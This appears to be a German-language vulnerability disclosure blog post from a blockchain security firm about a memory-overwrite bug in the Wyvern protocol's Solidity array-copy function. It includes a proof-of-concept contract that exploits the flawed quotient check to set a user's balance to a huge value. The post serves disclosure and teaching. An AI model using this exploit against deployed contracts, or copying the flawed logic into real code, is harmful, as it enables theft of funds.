Zurück zum Blog

Neue Schwachstelle zum Überschreiben von Speicher im Wyvern-Protokoll entdeckt

Code Auditing
8. September 2022
7 Min. Lesezeit

Einleitung

Unser System zur Schwachstellenerkennung hat eine Speicherüberschreibungsschwachstelle in der neuesten Implementierung der Wyvern-Bibliothek gefunden. Diese gehört zum Wyvern-Protokoll für dezentrale Börsen, das zuvor von OpenSea verwendet wurde. Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen.

Wir haben versucht, das Projekt zu kontaktieren (z. B. per E-Mail und über soziale Medien), haben jedoch noch keine Antwort erhalten. Da OpenSea zum Seaport-Protokoll migriert ist, sind wir der Meinung, dass es sicher ist, die detaillierten Informationen öffentlich zu machen. Darüber hinaus möchten wir diese Ergebnisse teilen, um die Community einzubinden, da der Fehler selbst etwas knifflig ist und die Ausnutzung ziemlich interessant ist.

Beschreibung

Der anfällige Code ist im offiziellen Code-Repository mit dem Commit-Hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9 zu finden.

Genauer gesagt liegt dieser Fehler in der Funktion _guardedArrayReplace() von ArrayUtils.sol. Wie der Name schon sagt, wird diese Funktion verwendet, um ein Byte-Array mit dynamischer Größe (d. h. der zweite Parameter namens _desired) selektiv in ein anderes zu kopieren (d. h. der erste Parameter namens _array). Beachten Sie, dass diese Funktion für eine Wort-basierte (d. h. 0x20 Bytes) Operation implementiert ist, sodass die Code-Logik je nach Berechnungsergebnis der Division in zwei Schritte unterteilt werden kann.

Für den Quotienteil (d. h. words = array.length / 0x20) kopiert die Code-Logik von Zeile 42 bis Zeile 49 das gewünschte Array wortweise in das Zielarray. Dieser Schritt funktioniert wie erwartet, obwohl die assert-Anweisung in Zeile 39 aufgrund der Integer-Arithmetik nutzlos ist.

Nach dem vorherigen Schritt, wenn die Division einen Rest ergibt, bedeutet dies, dass noch einige Bytes übrig sind, die nicht korrekt kopiert wurden. Die Code-Logik von Zeile 52 bis Zeile 66 ist dafür ausgelegt, diese Bytes zu verarbeiten. Leider verwendet die if-Anweisung in Zeile 52 fälschlicherweise den Quotienten (words, d. h. array.length / 0x20) anstelle des Rests (array.length % 0x20), um die Prüfung durchzuführen.

Die Schwere

Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen. Angenommen, array.length ist genau durch 0x20 teilbar, dann erfolgt die Kopiervorgang tatsächlich in der Schleifenlogik. In den meisten Fällen wird die Funktion jedoch die anfällige Logik betreten und versuchen, ein Wort hinter dem gewünschten Array in das Zielarray zu kopieren, was zwangsläufig zu einem außerhalb des gültigen Bereichs liegenden Zugriff führt. Schlimmer noch, die fehlerhafte Logik könnte ausgenutzt werden, um ein Wort am Ende des Zielarrays zu überschreiben, was ein unbekannter Speicherbereich ist, der für beliebige Zwecke genutzt werden kann.

Wie kann dieser Fehler ausgenutzt werden?

Wir haben einen PoC-Vertrag entwickelt, um den potenziellen Angriffsvektor zu veranschaulichen. Der PoC-Vertrag hat zwei Funktionen. Die erste mit dem Namen test() dient zur Durchführung des Angriffs, während die zweite einfach die anfällige Funktion guardedArrayReplace() ist.

Insbesondere definieren wir in der Funktion test() zunächst einige In-Memory-Bytes (a, b und mask) und ein Array (d. h. _rewards). Das hier definierte _rewards wird verwendet, um die Prämien des Benutzers zu berechnen. Nach dem Aufruf der Funktion guardedArrayReplace() zum Kopieren von a nach b mit mask wird _rewards zum Guthaben des Benutzers hinzugefügt (d. h. balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Hier verwenden wir Remix zur Demonstration des Ergebnisses. Es ist erwähnenswert, dass zunächst kein Wert für _rewards und balances zugewiesen wird. Nach der Ausnutzung wird das Guthaben des Benutzers auf einen extrem hohen Wert gesetzt (wie im roten Rechteck gezeigt).

Schlussfolgerung

Obwohl selten, können solche Speicherüberschreibungsschwachstellen immer noch in Smart Contracts vorkommen. Entwickler müssen auf die Code-Logik achten, die den Speicher manipuliert.

Über BlockSec

BlockSec ist ein wegweisendes Blockchain-Sicherheitsunternehmen, das 2021 von einer Gruppe weltweit angesehener Sicherheitsexperten gegründet wurde. Das Unternehmen engagiert sich für die Verbesserung der Sicherheit und Benutzerfreundlichkeit für die aufstrebende Web3-Welt, um deren Massenadoption zu fördern. Zu diesem Zweck bietet BlockSec Auditing-Dienste für Smart Contracts und EVM-Ketten, die Phalcon-Plattform für die sichere Entwicklung und proaktive Bedrohungsabwehr, die MetaSleuth-Plattform für die Nachverfolgung von Geldern und Ermittlungen sowie die MetaDock-Erweiterung für Web3-Entwickler an, um effizient in der Krypto-Welt zu surfen.

Bis heute hat das Unternehmen über 300 angesehene Kunden wie MetaMask, Uniswap Foundation, Compound, Forta und PancakeSwap betreut und in zwei Finanzierungsrunden von namhaften Investoren, darunter Matrix Partners, Vitalbridge Capital und Fenbushi Capital, zweistellige Millionenbeträge an US-Dollar erhalten.

Offizielle Website: https://blocksec.com/

Offizielles Twitter-Konto: https://twitter.com/BlockSecTeam

Für die neuesten Informationen anmelden
Verluste von rund 3,87 Millionen USD: Hacks bei Autheo Network und UNCX | BlockSec Weekly
Security Insights

Verluste von rund 3,87 Millionen USD: Hacks bei Autheo Network und UNCX | BlockSec Weekly

Dieser Wochenbericht behandelt 3 Sicherheitsvorfälle im Zeitraum 12.10.2026–18.10.2026 mit einem geschätzten Gesamtschaden von etwa 3,87 Millionen USD. Bei Autheo Network wurde ein privater Schlüssel kompromittiert; der Schaden betrug rund 1,76 Millionen USD. Qubic Wallet verlor aufgrund einer schwachen Seed-Generierung rund 1,30 Millionen USD. Bei den Smart Token Vesting V2-Verträgen von UNCX Network führte ein Buchführungsfehler auf Ethereum, BNB Chain, Base und Robinhood Chain zu einem Schaden von rund 807 Tausend USD. Die hervorgehobene Analyse zu UNCX erklärt, wie eine fehlerhafte Berechnung der Gesamtanteile Vesting-Tranchen zusammenführte, die mit unterschiedlichen Token-zu-Anteil-Verhältnissen erstellt worden waren, und dadurch überhöhte Entnahmen aus gemeinsamen Pools ermöglichte.

Rund 542.000 $ verloren: MakerDaoBot-Exploit | BlockSec Wochenrückblick
Security Insights

Rund 542.000 $ verloren: MakerDaoBot-Exploit | BlockSec Wochenrückblick

Ethereum, 5.–11.10.2026: 1 Vorfall, ca. 542.000 $ Verlust. Über eine ungeschützte MakerDaoBot-Funktion erhielt ein bösartiger Adapter Zugriff auf Bot-Guthaben, wickelte 4 ETH-A-Auktionen ab und tauschte 200 ETH-A in WETH; 200 ETH gingen an den Angreifer.

~418 Mio. $ verloren: Bitget- und NEAR-Intents-Exploits | BlockSec Weekly
Security Insights

~418 Mio. $ verloren: Bitget- und NEAR-Intents-Exploits | BlockSec Weekly

Dieser 14-tägige Sicherheitsbericht (21.9.–4.10.26) erfasst 8 Vorfälle mit ca. 418,4 Mio. USD Verlust auf Ethereum, BNB Chain, Solana u.a. Bitget: 387,5 Mio. USD Lücke in Drittprodukt. NEAR Intents: 3,87 Mio. USD Rückerstattungsfehler, fehlender Rollback

Der beste Sicherheitsauditor für Web3

Lassen Sie Design, Code und Geschäftslogik vor dem Launch prüfen. Nach den höchsten Sicherheitsstandards der Branche.

BlockSec-Audit
Neue Schwachstelle zum Überschreiben von Speicher im Wyvern-Protokoll entdeckt